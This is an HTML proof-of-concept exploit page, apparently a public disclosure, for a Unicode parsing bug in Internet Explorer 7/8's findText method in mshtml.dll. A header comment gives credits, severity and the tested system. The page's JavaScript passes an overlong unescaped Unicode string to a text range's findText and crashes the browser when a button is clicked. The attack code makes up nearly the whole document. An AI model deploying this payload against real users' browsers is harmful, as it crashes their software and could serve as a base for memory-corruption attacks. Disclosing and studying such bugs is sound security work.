<meta http-equiv="Context-Type" content="text/html; charset=US-ASCII">
<!--
Contact:h0n9t3n@gmail.com,AmesianX@gmail.com
Title: MS Internet Explorer findText Unicode Parsing error
Vulnerability (mshtml.dll) 
Bug discovered: Hong10 
PoC code: AmesianX & Hong10 
Critical: low 
Impact: MS Internet Explorer 7/8 Crash 
Where: From remote 
Tested Operating System: Windows XP SP3 FULL PATCHED (Korean Language) 

Solution: I don't know.. 

Description: 
 The following bug was tested on the latest version of Internet 
Explorer 7/8. 

by research team NSHC
--> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><title>IE findText crash</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body>
<input type="button" value="exploit" onclick="do_crash();">
Hit the button after ie7/8 crash..
<script>
function do_crash()
{
var o1=document.createElement("input");
o1.type="text";  //or password
o1.id="powerhacker";
o1.value="AAAA";
document.body.appendChild(o1);
var r= o1.createTextRange();
r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1);
//maybe string length allocated stack but over length allocated heap memory
//r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1,131072);
//this code is no crash becase 3 parameter 
}
</script>
</body></html>
<html><body></body></html>